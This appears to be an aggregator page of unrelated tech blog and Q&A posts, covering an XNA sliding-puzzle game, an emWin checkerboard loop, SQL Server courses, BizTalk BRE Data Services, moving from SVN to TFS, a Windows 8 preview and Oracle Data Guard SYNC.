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  • Shuffle tiles position in the beginning of the game XNA Csharp

    - by GalneGunnar
    Im trying to create a puzzlegame where you move tiles to certain positions to make a whole image. I need help with randomizing the tiles startposition so that they don't create the whole image at the beginning. There is also something wrong with my offset, that's why it's set to (0,0). I know my code is not good, but Im just starting to learn :] Thanks in advance My Game1 class: { public class Game1 : Microsoft.Xna.Framework.Game { GraphicsDeviceManager graphics; SpriteBatch spriteBatch; Texture2D PictureTexture; Texture2D FrameTexture; // Offset för bildgraff Vector2 Offset = new Vector2(0,0); //skapar en array som ska hålla delar av den stora bilden Square[,] squareArray = new Square[4, 4]; // Random randomeraBilder = new Random(); //Width och Height för bilden int pictureHeight = 95; int pictureWidth = 144; Random randomera = new Random(); int index = 0; MouseState oldMouseState; int WindowHeight; int WindowWidth; public Game1() { graphics = new GraphicsDeviceManager(this); Content.RootDirectory = "Content"; //scalar Window till 800x 600y graphics.PreferredBackBufferWidth = 800; graphics.PreferredBackBufferHeight = 600; graphics.ApplyChanges(); } protected override void Initialize() { IsMouseVisible = true; base.Initialize(); } protected override void LoadContent() { spriteBatch = new SpriteBatch(GraphicsDevice); PictureTexture = Content.Load<Texture2D>(@"Images/bildgraff"); FrameTexture = Content.Load<Texture2D>(@"Images/framer"); //Laddar in varje liten bild av den stora bilden i en array for (int x = 0; x < 4; x++) { for (int y = 0; y < 4; y++) { Vector2 position = new Vector2(x * pictureWidth, y * pictureHeight); position = position + Offset; Rectangle square = new Rectangle(x * pictureWidth, y * pictureHeight, pictureWidth, pictureHeight); Square frame = new Square(position, PictureTexture, square, Offset, index); squareArray[x, y] = frame; index++; } } } protected override void UnloadContent() { } protected override void Update(GameTime gameTime) { if (GamePad.GetState(PlayerIndex.One).Buttons.Back == ButtonState.Pressed) this.Exit(); MouseState ms = Mouse.GetState(); if (oldMouseState.LeftButton == ButtonState.Pressed && ms.LeftButton == ButtonState.Released) { // ta reda på vilken position vi har tryckt på int col = ms.X / pictureWidth; int row = ms.Y / pictureHeight; for (int x = 0; x < squareArray.GetLength(0); x++) { for (int y = 0; y < squareArray.GetLength(1); y++) { // kollar om rutan är tom och så att indexet inte går utanför för "col" och "row" if (squareArray[x, y].index == 0 && col >= 0 && row >= 0 && col <= 3 && row <= 3) { if (squareArray[x, y].index == 0 * col) { //kollar om rutan brevid mouseclick är tom if (col > 0 && squareArray[col - 1, row].index == 0 || row > 0 && squareArray[col, row - 1].index == 0 || col < 3 && squareArray[col + 1, row].index == 0 || row < 3 && squareArray[col, row + 1].index == 0) { Square sqaure = squareArray[col, row]; Square hal = squareArray[x, y]; squareArray[x, y] = sqaure; squareArray[col, row] = hal; for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { Vector2 goalPosition = new Vector2(x * pictureWidth, y * pictureHeight); squareArray[x, y].Swap(goalPosition); } } } } } } } } //if (oldMouseState.RightButton == ButtonState.Pressed && ms.RightButton == ButtonState.Released) //{ // for (int x = 0; x < 4; x++) // { // for (int y = 0; y < 4; y++) // { // } // } //} oldMouseState = ms; base.Update(gameTime); } protected override void Draw(GameTime gameTime) { GraphicsDevice.Clear(Color.CornflowerBlue); WindowHeight = Window.ClientBounds.Height; WindowWidth = Window.ClientBounds.Width; Rectangle screenPosition = new Rectangle(0,0, WindowWidth, WindowHeight); spriteBatch.Begin(); spriteBatch.Draw(FrameTexture, screenPosition, Color.White); //Ritar ut alla brickorna förutom den som har index 0 for (int x = 0; x < 4; x++) { for (int y = 0; y < 4; y++) { if (squareArray[x, y].index != 0) { squareArray[x, y].Draw(spriteBatch); } } } spriteBatch.End(); base.Draw(gameTime); } } } My square class: class Square { public Vector2 position; public Texture2D grafTexture; public Rectangle square; public Vector2 offset; public int index; public Square(Vector2 position, Texture2D grafTexture, Rectangle square, Vector2 offset, int index) { this.position = position; this.grafTexture = grafTexture; this.square = square; this.offset = offset; this.index = index; } public void Draw(SpriteBatch spritebatch) { spritebatch.Draw(grafTexture, position, square, Color.White); } public void RandomPosition() { } public void Swap(Vector2 Goal ) { if (Goal.X > position.X) { position.X = position.X + 144; } else if (Goal.X < position.X) { position.X = position.X - 144; } else if (Goal.Y < position.Y) { position.Y = position.Y - 95; } else if (Goal.Y > position.Y) { position.Y = position.Y + 95; } } } }

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  • SQL SERVER – 3 Online SQL Courses at Pluralsight and Free Learning Resources

    - by pinaldave
    Usain Bolt is an inspiration for all. He broke his own record multiple times because he wanted to do better! Read more about him on wikipedia. He is great and indeed fastest man on the planet. Usain Bolt – World’s Fastest Man “Can you teach me SQL Server Performance Tuning?” This is one of the most popular questions which I receive all the time. The answer is YES. I would love to do performance tuning training for anyone, anywhere.  It is my favorite thing to do, and it is my favorite thing to train others in.  If possible, I would love to do training 24 hours a day, 7 days a week, 365 days a year.  To me, it doesn’t feel like a job. Of course, as much as I would love to do performance tuning 24/7/365, obviously I am just one human being and can only be in one place t one time.  It is also very difficult to train more than one person at a time, and it is difficult to train two or more people at a time, especially when the two people are at different levels.  I am also limited by geography.  I live in India, and adjust to my own time zone.  Trying to teach a live course from India to someone whose time zone is 12 or more hours off of mine is very difficult.  If I am trying to teach at 2 am, I am sure I am not at my best! There was only one solution to scale – Online Trainings. I have built 3 different courses on SQL Server Performance Tuning with Pluralsight. Now I have no problem – I am 100% scalable and available 24/7 and 365. You can make me say the same things again and again till you find it right. I am in your mobile, PC as well as on XBOX. This is why I am such a big fan of online courses.  I have recorded many performance tuning classes and you can easily access them online, at your own time.  And don’t think that just because these aren’t live classes you won’t be able to get any feedback from me.  I encourage all my viewers to go ahead and ask me questions by e-mail, Twitter, Facebook, or whatever way you can get a hold of me. Here are details of three of my courses with Pluralsight. I suggest you go over the description of the course. As an author of the course, I have few FREE codes for watching the free courses. Please leave a comment with your valid email address, I will send a few of them to random winners. SQL Server Performance: Introduction to Query Tuning  SQL Server performance tuning is an art to master – for developers and DBAs alike. This course takes a systematic approach to planning, analyzing, debugging and troubleshooting common query-related performance problems. This includes an introduction to understanding execution plans inside SQL Server. In this almost four hour course we cover following important concepts. Introduction 10:22 Execution Plan Basics 45:59 Essential Indexing Techniques 20:19 Query Design for Performance 50:16 Performance Tuning Tools 01:15:14 Tips and Tricks 25:53 Checklist: Performance Tuning 07:13 The duration of each module is mentioned besides the name of the module. SQL Server Performance: Indexing Basics This course teaches you how to master the art of performance tuning SQL Server by better understanding indexes. In this almost two hour course we cover following important concepts. Introduction 02:03 Fundamentals of Indexing 22:21 Practical Indexing Implementation Techniques 37:25 Index Maintenance 16:33 Introduction to ColumnstoreIndex 08:06 Indexing Practical Performance Tips and Tricks 24:56 Checklist : Index and Performance 07:29 The duration of each module is mentioned besides the name of the module. SQL Server Questions and Answers This course is designed to help you better understand how to use SQL Server effectively. The course presents many of the common misconceptions about SQL Server, and then carefully debunks those misconceptions with clear explanations and short but compelling demos, showing you how SQL Server really works. In this almost 2 hours and 15 minutes course we cover following important concepts. Introduction 00:54 Retrieving IDENTITY value using @@IDENTITY 08:38 Concepts Related to Identity Values 04:15 Difference between WHERE and HAVING 05:52 Order in WHERE clause 07:29 Concepts Around Temporary Tables and Table Variables 09:03 Are stored procedures pre-compiled? 05:09 UNIQUE INDEX and NULLs problem 06:40 DELETE VS TRUNCATE 06:07 Locks and Duration of Transactions 15:11 Nested Transaction and Rollback 09:16 Understanding Date/Time Datatypes 07:40 Differences between VARCHAR and NVARCHAR datatypes 06:38 Precedence of DENY and GRANT security permissions 05:29 Identify Blocking Process 06:37 NULLS usage with Dynamic SQL 08:03 Appendix Tips and Tricks with Tools 20:44 The duration of each module is mentioned besides the name of the module. SQL in Sixty Seconds You will have to login and to get subscribed to the courses to view them. Here are my free video learning resources SQL in Sixty Seconds. These are 60 second video which I have built on various subjects related to SQL Server. Do let me know what you think about them? Here are three of my latest videos: Identify Most Resource Intensive Queries – SQL in Sixty Seconds #028 Copy Column Headers from Resultset – SQL in Sixty Seconds #027 Effect of Collation on Resultset – SQL in Sixty Seconds #026 You can watch and learn at your own pace.  Then you can easily ask me any questions you have.  E-mail is easiest, but for really tough questions I’m willing to talk on Skype, Gtalk, or even Facebook chat.  Please do watch and then talk with me, I am always available on the internet! Here is the video of the world’s fastest man.Usain St. Leo Bolt inspires us that we all do better than best. We can go the next level of our own record. We all can improve if we have a will and dedication.  Watch the video from 5:00 mark. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: PostADay, SQL, SQL Authority, SQL in Sixty Seconds, SQL Performance, SQL Query, SQL Server, SQL Tips and Tricks, SQL Training, SQLServer, T SQL, Technology, Video

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  • Need Help in optimizing a loop in C [migrated]

    - by WedaPashi
    I am trying to draw a Checkerboard pattern on a lcd using a GUI library called emWin. I have actually managed to draw it using the following code. But having these many loops in the program body for a single task, that too in the internal flash of the Microcontroller is not a good idea. Those who have not worked with emWin, I will try and explain a few things before we go for actual logic. GUI_REST is a structure which id define source files of emWin and I am blind to it. Rect, REct2,Rec3.. and so on till Rect10 are objects. Elements of the Rect array are {x0,y0,x1,y1}, where x0,y0 are starting locations of rectangle in X-Y plane and x1, y1 are end locations of Rectangle in x-Y plane. So, Rect={0,0,79,79} is a rectangle starts at top left of the LCD and is upto (79,79), so its a square basically. The function GUI_setBkColor(int color); sets the color of the background. The function GUI_setColor(int color); sets the color of the foreground. GUI_WHITE and DM_CHECKERBOARD_COLOR are two color values, #defineed GUI_FillRectEx(&Rect); will draw the Rectangle. The code below works fine but I want to make it smarter. GUI_RECT Rect = {0, 0, 79, 79}; GUI_RECT Rect2 = {80, 0, 159, 79}; GUI_RECT Rect3 = {160, 0, 239, 79}; GUI_RECT Rect4 = {240, 0, 319, 79}; GUI_RECT Rect5 = {320, 0, 399, 79}; GUI_RECT Rect6 = {400, 0, 479, 79}; GUI_RECT Rect7 = {480, 0, 559, 79}; GUI_RECT Rect8 = {560, 0, 639, 79}; GUI_RECT Rect9 = {640, 0, 719, 79}; GUI_RECT Rect10 = {720, 0, 799, 79}; WM_SelectWindow(Win_DM_Main); GUI_SetBkColor(GUI_BLACK); GUI_Clear(); for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(GUI_WHITE); else GUI_SetColor(DM_CHECKERBOARD_COLOR); GUI_FillRectEx(&Rect); Rect.y0 += 80; Rect.y1 += 80; } /* for(j=0,j<11;j++) { for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(GUI_WHITE); else GUI_SetColor(DM_CHECKERBOARD_COLOR); GUI_FillRectEx(&Rect); Rect.y0 += 80; Rect.y1 += 80; } Rect.x0 += 80; Rect.x1 += 80; } */ for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(DM_CHECKERBOARD_COLOR); else GUI_SetColor(GUI_WHITE); GUI_FillRectEx(&Rect2); Rect2.y0 += 80; Rect2.y1 += 80; } for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(GUI_WHITE); else GUI_SetColor(DM_CHECKERBOARD_COLOR); GUI_FillRectEx(&Rect3); Rect3.y0 += 80; Rect3.y1 += 80; } for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(DM_CHECKERBOARD_COLOR); else GUI_SetColor(GUI_WHITE); GUI_FillRectEx(&Rect4); Rect4.y0 += 80; Rect4.y1 += 80; } for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(GUI_WHITE); else GUI_SetColor(DM_CHECKERBOARD_COLOR); GUI_FillRectEx(&Rect5); Rect5.y0 += 80; Rect5.y1 += 80; } for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(DM_CHECKERBOARD_COLOR); else GUI_SetColor(GUI_WHITE); GUI_FillRectEx(&Rect6); Rect6.y0 += 80; Rect6.y1 += 80; } for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(GUI_WHITE); else GUI_SetColor(DM_CHECKERBOARD_COLOR); GUI_FillRectEx(&Rect7); Rect7.y0 += 80; Rect7.y1 += 80; } for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(DM_CHECKERBOARD_COLOR); else GUI_SetColor(GUI_WHITE); GUI_FillRectEx(&Rect8); Rect8.y0 += 80; Rect8.y1 += 80; } for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(GUI_WHITE); else GUI_SetColor(DM_CHECKERBOARD_COLOR); GUI_FillRectEx(&Rect9); Rect9.y0 += 80; Rect9.y1 += 80; } for(i = 0; i < 6; i++) { if(i%2 == 0) GUI_SetColor(DM_CHECKERBOARD_COLOR); else GUI_SetColor(GUI_WHITE); GUI_FillRectEx(&Rect10); Rect10.y0 += 80; Rect10.y1 += 80; }

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  • BRE (Business Rules Engine) Data Services is out...!!!

    - by Vishal
    A few months ago we at Tellago had open sourced the BizTalk Data Services. We were meanwhile working on other artifacts which comes along with BizTalk Server like the “Business Rules Engine”.  We are happy to announce the first version of BRE Data Services. BRE Data Services is a same concept which we covered through BTS Data Services, providing a RESTFul OData – based API to interact with the Business Rules Engine via HTTP using ATOM Publishing Protocol or JSON as the encoding mechanism.   In the first version release, we mainly focused on the browsing, querying and searching BRE artifacts via a RESTFul interface. Also along with that we provide the functionality to execute Business Rules by inserting the Facts for policies via the IUpdatable implementation of WCF Data Services.   The BRE Data Services API provides a lightweight interface for managing Business Rules Engine artifacts such as Policies, Rules, Vocabularies, Conditions, Actions, Facts etc. The following are some examples which details some of the available features in the current version of the API.   Basic Querying: Querying BRE Policies http://localhost/BREDataServices/BREMananagementService.svc/Policies Querying BRE Rules http://localhost/BREDataServices/BREMananagementService.svc/Rules Querying BRE Vocabularies http://localhost/BREDataServices/BREMananagementService.svc/Vocabularies   Navigation: The BRE Data Services API also leverages WCF Data Services to enable navigation across related different BRE objects. Querying a specific Policy http://localhost/BREDataServices/BREMananagementService.svc/Policies(‘PolicyName’) Querying a specific Rule http://localhost/BREDataServices/BREMananagementService.svc/Rules(‘RuleName’) Querying all Rules under a Policy http://localhost/BREDataServices/BREMananagementService.svc/Policies('PolicyName')/Rules Querying all Facts under a Policy http://localhost/BREDataServices/BREMananagementService.svc/Policies('PolicyName')/Facts Querying all Actions for a specific Rule http://localhost/BREDataServices/BREMananagementService.svc/Rules('RuleName')/Actions Querying all Conditions for a specific Rule http://localhost/BREDataServices/BREMananagementService.svc/Rules('RuleName')/Actions Querying a specific Vocabulary: http://localhost/BREDataServices/BREMananagementService.svc/Vocabularies('VocabName')   Implementation: With the BRE Data Services, we also provide the functionality of executing a particular policy via HTTP. There are couple of ways you can do that though the API.   Ø First is though Service Operations feature of WCF Data Services in which you can execute the Facts by passing them in the URL itself. This is a very simple implementations of the executing the policies due to the limitations & restrictions (only primitive types of input parameters which can be passed) currently of the Service Operations of the WCF Data Services. Below is a code sample.                Below is a traced Request/Response message.                                 Ø Second is through the IUpdatable Interface of WCF Data Services. In this method, you can first query the rule which you want to execute and then inserts Facts for that particular Rules and finally when you perform the SaveChanges() call for the IUpdatable Interface API, it executes the policy with the facts which you inserted at runtime. Below is a sample of client side code. Due to the limitations of current version of WCF Data Services where there is no way you can return back the updates happening on the service side back to the client via the SaveChanges() method. Here we are executing the rule passing a serialized XML as Facts and there is no changes made to any data where we can query back to fetch the changes. This is overcome though the first way to executing the policies which is by executing it as a Service Operation call.     This actually generates a AtomPub message shown as below:   POST /Tellago.BRE.REST.ServiceHost/BREMananagementService.svc/$batch HTTP/1.1 User-Agent: Microsoft ADO.NET Data Services DataServiceVersion: 1.0;NetFx MaxDataServiceVersion: 2.0;NetFx Accept: application/atom+xml,application/xml Accept-Charset: UTF-8 Content-Type: multipart/mixed; boundary=batch_6b9a5ced-5ecb-4585-940a-9d5e704c28c7 Host: localhost:8080 Content-Length: 1481 Expect: 100-continue   --batch_6b9a5ced-5ecb-4585-940a-9d5e704c28c7 Content-Type: multipart/mixed; boundary=changeset_184a8c59-a714-4ba9-bb3d-889a88fe24bf   --changeset_184a8c59-a714-4ba9-bb3d-889a88fe24bf Content-Type: application/http Content-Transfer-Encoding: binary   MERGE http://localhost:8080/Tellago.BRE.REST.ServiceHost/BREMananagementService.svc/Facts('TestPolicy') HTTP/1.1 Content-ID: 4 Content-Type: application/atom+xml;type=entry Content-Length: 927   <?xml version="1.0" encoding="utf-8" standalone="yes"?> <entry xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices" xmlns:m="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata" font-size: x-small"http://www.w3.org/2005/Atom">   <category scheme="http://schemas.microsoft.com/ado/2007/08/dataservices/scheme" term="Tellago.BRE.REST.Resources.Fact" />   <title />   <author>     <name />   </author>   <updated>2011-01-31T20:09:15.0023982Z</updated>   <id>http://localhost:8080/Tellago.BRE.REST.ServiceHost/BREMananagementService.svc/Facts('TestPolicy')</id>   <content type="application/xml">     <m:properties>       <d:FactInstance>&lt;ns0:LoanStatus xmlns:ns0="http://tellago.com"&gt;&lt;Age&gt;10&lt;/Age&gt;&lt;Status&gt;true&lt;/Status&gt;&lt;/ns0:LoanStatus&gt;</d:FactInstance>       <d:FactType>TestSchema</d:FactType>       <d:ID>TestPolicy</d:ID>     </m:properties>   </content> </entry> --changeset_184a8c59-a714-4ba9-bb3d-889a88fe24bf-- --batch_6b9a5ced-5ecb-4585-940a-9d5e704c28c7—     Installation: The installation of the BRE Data Services is pretty straight forward. ·         Create a new IIS website say BREDataServices. ·         Download the SourceCode from TellagoCodeplex and copy the content from Tellago.BRE.REST.ServiceHost to the physical location of the above created website.     ·         The appPool account running the website should have admin access to the BizTalkRuleEngineDb database. ·         TheRight click the BREManagementService.svc in the IIS ContentView for the website and wala..     Conclusion: The BRE Data Services API is an experiment intended to bring the capabilities of RESTful/OData based services to the Traditional BTS/BRE Solutions. The future releases will target on technologies like BAM, ESB Toolkit. This version has been tested with various version of BizTalk Server and we have uploaded the source code to our Tellago's DevLabs workspace at Codeplex. I hope you guys enjoy this release. Keep an eye on our new releases @ Tellago Codeplex. We are working on various other Biztalk Artifacts like BAM, ESB Toolkit.     Till than happy BizzRuling…!!!     Thanks,   Vishal Mody

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  • Moving from Tortoise to TFS

    - by MarkPearl
    The Past A few years ago my small software company made the jump from storing code on a shared folder to source code control. At the time we had evaluated a few of the options and settled on Tortoise SVN. The main motivation for going the SVN route was that we found a great plugin for Visual Studio that allowed us to avoid the command prompt for uploading changes (like I said we are windows programmers… command prompt bad!! ) and it was free. Up to now we have been pretty happy with SVN as it removed many of the worries that I had about how safe my code was on a shared folder and also gave us the opportunity to safely have several developers work on the same project at the same time. The only times when we have been unhappy has been when we have had SVN hell days – which pretty much occur when you are doing something out of the norm and suddenly SVN just won’t resolve conflicts or something along those lines. This happens once every 4 or 5 months and is not necessarily a problem caused directly by SVN – but a problem augmented by SVN. When you have SVN hell days you want to curse SVN! With that in mind I recently have been relooking at our source code control. I have explored using GIT and was very impressed by it and have also looked at TFS. From a source code control perspective I don’t want to get into a heated discussion on which one is better – but I do want to mention that I wear two hats in my organization – software developer & manager, and with the manager hat on I tend to sway the TFS route. So when I was given a coupon to test DiscountASP.Net Team Foundation Server Service for a year, I thought it was the perfect opportunity to try TFS in a distributed environment and also make the first step towards having an integrated development management system. Some of the things that appeal to me about DiscountASP’s offering are the following… Basic management / planning facilities like to do lists inside Visual Studio Daily backup of data on the server – we are developers, not IT managers and so the more of this I could outsource the better Distributed solution – all of us work remotely and so this was a big one as well. Registering and Setting Up with DiscountASP.NET The whole registration process was simple and intuitive. The web interface is not the most visually impressive one, but it is functional and a few seconds after I clicked the last submit button a email was sitting in my inbox giving me my control panel username and suggesting that I read the “Getting Started” article. The getting started article was easy to read and understand so no complaints there either. Next to set my dev environment to work. With a few references to the getting started article I had completed the whole setup process in a matter of minutes. Ten minutes after initiating the whole thing I was logged into VS2010 and creating my first TFS project. With the service that I signed up for, I have access for 5 users – which is sufficient for my internal needs. So from what I can tell, to set the rest of us up on the system I just need to supply them with their user credentials and url. My Concerns Resolved 1) Security So, a few concerns I had about the service. First and foremost – is it secure? I would hate for someone to get access to our code and the whole idea of putting it up on the internet is a concern for me. Turning to the Knowledge Base on the DiscountASP website this is one of the first question I can see answered. According to them it is secure. I have extracted their comment below regarding this. Our TFS hosting service is secure. We only accept HTTPS connections ensuring that any client-server data transmission is encrypted. At the network level, all of our systems are protected by multiple Juniper firewalls, Tipping Point's Intrusion Detection System (see Tipping Point's case study of our use here), and we also employ DDoS mitigation to add extra layers of security. Additionally, physical access to the servers is tightly restricted. Please see the security section of this Knowledge Base article for further details. 2) Web Portal Access The other big concern I have is regarding web portal access. In the ideal world I would like to be able to give my end users access to a web portal for reporting bugs etc. When I initially read through the FAQ of the site it mentioned that there was web portal access – but from what I can see this is just for “users”. Since I am limited to 5 users for the account, it would not be practical to set up external users that we could get feedback from on bugs etc. I would be interested if this is possible – and if so if someone could post it in the comments it would be much appreciated. If this isn’t possible, it is a slight let down as we rely heavily on end user feedback to get feedback and it would have been ideal to have gotten this within the service. Other than those two items, I didn’t have any real concerns that were unresolved. So where do I go from here? So time passed by from the initial writing of this post and as work whirred in and out of my inbox I have still not had a proper opportunity to give the service a test run. Recently though things have began to slow down and then surprise surprise I had another SVN Hell day. With that experience I had a new found resolve to get our team on TFS and so today we are going to start to use the service as a team. I am hoping that I do not have TFS hell days – but if I do, I will be sure to write about them. In short - the verdict is still out on whether this service is going to be invaluable to my business or whether it will create more headaches than it is worth BUT I am hopping it will be an invaluable service. I will only really be able to determine that in a few months… till then!

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  • first install for windows eight.....da beta

    - by raysmithequip
    The W8 preview is now installed and I am enjoying it.  I remember the learning curve of my first unix machine back in the eighties, this ain't that.It is normal for me to do the first os install with a keyboard and low end monitor...you never know what you'll encounter out in the field.  The OS took like a fish to water.  I used a low end INTEL motherboard dp55w I gathered on the cheap, an 1157 i5 from the used bin a pair of 6 gig ddr3 sticks, a rosewell 550 watt power supply a cheap used twenty buck sub 200g wd sata drive, a half working dvd burner and an asus fanless nvidia vid card, not a great one but Sub 50.00 on newey eggey...I did have to hunt the ms forums for a key and of course to activate the thing, if dos would of needed this outmoded ritual, we would still be on cpm and osborne would be a household name, of course little do people know that this ritual was common as far back as the seventies on att unix installs....not, but it was possible, I used to joke about when I ran a bbs, what hell would of been wrought had dos 3.2 machines been required to dial into my bbs to send fido mail to ms and wait for an acknowledgement.  All in all the thing was pushing a seven on the ms richter scale, not including the vid card, sadly it came in at just a tad over three....I wanted to evaluate it for a possible replacement on critical machines that in the past went down due to a vid card fan failure....you have no idea what a customer thinks when you show them a failed vid card fan..."you mean that little plastic piece of junk caused all this!!??!!!"...yea man.  Some production machines don't need any sort of vid, I will at least keep it on the maybe list for those, MTBF is a very important factor, some big box stores should put percentage of failure rate within 24 month estimates on the outside of the carton for sure.  And a warning that the power supplies are already at their limit.  Let's face it, today even 550w can be iffy.A few neat eye candy improvements over the earlier windows is nice, the metro screen is nice, anyone who has used a newer phone recently will intuitively drag their fingers across the screen....lot of good that was with no mouse or touch screen though.  Lucky me, I have been using windows since day one, I still have a copy of win 2.0 (and every other version) for no good reason.  Still the old ix collection of disks is much larger, recompiling any kernal is another silly ritual, same machine, different day, same recompile...argh. Rh is my all time fav, mandrake was always missing something, like it rewrote the init file or something, novell is ok as long as you stay on the beaten path and of course ubuntu normally recompiles with the same errors consistantly....makes life easy that way....no errors on windows eight, just a screen that did not match the installed hardware, natuarally I alt tabbed right out of it, then hit the flag key to find the start menu....no start button. I miss the start button already. Keyboard cowboy funnin and I was browsing the harddrive, nothing stunning there, I like that, means I can find stuff. Only I can't find what I want, the start button....the start menu is that first screen for touch tablets. No biggie for useruser, that is where they will want to be, I can see that. Admins won't want to be there, it is easy enough to get the control panel a bazzilion other ways though, just not the start button. (see a pattern here?). Personally, from the keyboard I find it fun to hit the carets along the location bar at the top of the explorer screen with tabs and arrows and choose SHOW ALL CONTROL PANEL ITEMS, or thereabouts. Bottom line, I love seven and I'll love eight even more!...very happy I did not have to follow the normal rule of thumb (a customer watching me build a system and asking questions said "oh I get it, so every piece you put in there is basically a hundred bucks, right?)...ok, sure, pretty much, more or less, well, ya dude.  It will be WAY past october till I get a real touch screen but I did pick up a pair of cheap tatungs so I can try the NEW main start screen, I parse a lot of folders and have a vision of how a pair of touch screens will be easier than landing a rover on mars.  Ok.  fine, they are way smallish, and I don't expect multitouch to work but we are talking a few percent of a new 21 inch viewsonic touch screen.  Will this OS be a game changer?  I don't know.  Bottom line with all the pads and droids in the world, it is more of a catch up move at first glance.  Not something ms is used to.  An app store?  I can see ms's motivation, the others have it.  I gather there will not be gadgets there, go ahead and see what ms did  to the once populated gadget page...go ahead, google gadgets and take a gander, used to hundreds of gadgets, they are already gone.  They replaced gadgets?  sort of, I'll drop that, it's a bit of a sore point for me.  More of interest was what happened when I downloaded stuff off codeplex and some other normal programs that I like, like orbitron, top o' my list!!...cardware it is...anyways, click on the exe, get a screen, normal for windows, this one indicated that I was not running a normal windows program and had a button for  exit the install, naw, I hit details, a hidden run program anyways came into view....great, my path to the normal windows has detected a program tha.....yea ok, acl is on, fine, moving along I got orbitron installed in record time and was tracking the iss on the newest Microsoft OS, beta of course, felt like the first time I setup bsd all those year ago...FUN!!...I suppose I gotta start to think about budgeting for the real os when it comes out in october, by then I should have a rasberry pi and be done with fedora remixed.  Of course that sounds like fun too!!  I would use this OS on a tablet or phone.  I don't like the idea of being hearded to an app store, don't like that on anything, we are americans and want real choices not marketed hype, lest you are younger with opm (other peoples money).   This os would be neat on a zune, but I suspect the zune is a gonner, I am rooting for microsoft, after all their default password is not admin anymore, nor alpine,  it's blank. Others force a password, my first fawn password was so long I could not even log into it with the password in front of me, who the heck uses %$# anyways, and if I was writing a brute force attack what the heck kinda impasse is that anyways at .00001 microseconds of a code execution cycle (just a non qualified number, not a real clock speed)....AI is where it will be before too long, MS is on that path, perhaps soon someone will sit down and write an app for the kinect that watches your eyes while you scan the new main start screen, clicking on the big E icon when you blink.....boy is that going to be fun!!!! sure. Blink,dammit,blink,dammit...... OPM no doubt.I like windows eight, we are moving forwards, better keep a close eye on ubuntu.  The real clinch comes when open source becomes paid source......don't blink, I already see plenty of very expensive 'ix apps, some even in app stores already.  more to come.......

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  • To SYNC or not to SYNC – Part 3

    - by AshishRay
    I can't believe it has been almost a year since my last blog post. I know, that's an absolute no-no in the blogosphere. And I know that "I have been busy" is not a good excuse. So - without trying to come up with an excuse - let me state this - my apologies for taking such a long time to write the next Part. Without further ado, here goes. This is Part 3 of a multi-part blog article where we are discussing various aspects of setting up Data Guard synchronous redo transport (SYNC). In Part 1 of this article, I debunked the myth that Data Guard SYNC is similar to a two-phase commit operation. In Part 2, I discussed the various ways that network latency may or may not impact a Data Guard SYNC configuration. In this article, I will talk in details regarding why Data Guard SYNC is a good thing. I will also talk about distance implications for setting up such a configuration. So, Why Good? Why is Data Guard SYNC a good thing? Because, at the end of the day, this gives you the assurance of zero data loss - it doesn’t matter what outage may befall your primary system. Befall! Boy, that sounds theatrical. But seriously - think about this - it minimizes your data risks. That’s a big deal. Whether you have an outage due to bad disks, faulty hardware components, hardware / software bugs, physical data corruptions, power failures, lightning that takes out significant part of your data center, fire that melts your assets, water leakage from the cooling system, human errors such as accidental deletion of online redo log files - it doesn’t matter - you can have that “Om - peace” look on your face and then you can failover to the standby system, without losing a single bit of data in your Oracle database. You will be a hero, as shown in this not so imaginary conversation: IT Manager: Well, what’s the status? You: John is doing the trace analysis on the storage array. IT Manager: So? How long is that gonna take? You: Well, he is stuck, waiting for a response from <insert your not-so-favorite storage vendor here>. IT Manager: So, no root cause yet? You: I told you, he is stuck. We have escalated with their Support, but you know how long these things take. IT Manager: Darn it - the site is down! You: Not really … IT Manager: What do you mean? You: John is stuck, but Sreeni has already done a failover to the Data Guard standby. IT Manager: Whoa, whoa - wait! Failover means we lost some data, why did you do this without letting the Business group know? You: We didn’t lose any data. Remember, we had set up Data Guard with SYNC? So now, any problems on the production – we just failover. No data loss, and we are up and running in minutes. The Business guys don’t need to know. IT Manager: Wow! Are we great or what!! You: I guess … Ok, so you get it - SYNC is good. But as my dear friend Larry Carpenter says, “TANSTAAFL”, or "There ain't no such thing as a free lunch". Yes, of course - investing in Data Guard SYNC means that you have to invest in a low-latency network, you have to monitor your applications and database especially in peak load conditions, and you cannot under-provision your standby systems. But all these are good and necessary things, if you are supporting mission-critical apps that are supposed to be running 24x7. The peace of mind that this investment will give you is priceless, especially if you are serious about HA. How Far Can We Go? Someone may say at this point - well, I can’t use Data Guard SYNC over my coast-to-coast deployment. Most likely - true. So how far can you go? Well, we have customers who have deployed Data Guard SYNC over 300+ miles! Does this mean that you can also deploy over similar distances? Duh - no! I am going to say something here that most IT managers don’t like to hear - “It depends!” It depends on your application design, application response time / throughput requirements, network topology, etc. However, because of the optimal way we do SYNC, customers have been able to stretch Data Guard SYNC deployments over longer distances compared to traditional, storage-centric ways of doing this. The MAA Database 10.2 best practices paper Data Guard Redo Transport & Network Configuration, and Oracle Database 11.2 High Availability Best Practices Manual talk about some of these SYNC-related metrics. For example, a test deployment of Data Guard SYNC over 330 miles with 10ms latency showed an impact less than 5% for a busy OLTP application. Even if you can’t deploy Data Guard SYNC over your WAN distance, or if you already have an ASYNC standby located 1000-s of miles away, here’s another nifty way to boost your HA. Have a local standby, configured SYNC. How local is “local”? Again - it depends. One customer runs a local SYNC standby across the campus. Another customer runs it across 15 miles in another data center. Both of these customers are running Data Guard SYNC as their HA standard. If a localized outage affects their primary system, no problem! They have all the data available on the standby, to which they can failover. Very fast. In seconds. Wait - did I say “seconds”? Yes, Virginia, there is a Santa Claus. But you have to wait till the next blog article to find out more. I assure you tho’ that this time you won’t have to wait for another year for this.

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  • File copying utility like rsync with error handling like ddrescue, for data recovery from a hard drive with bad sectors or hardware failure

    - by purefusion
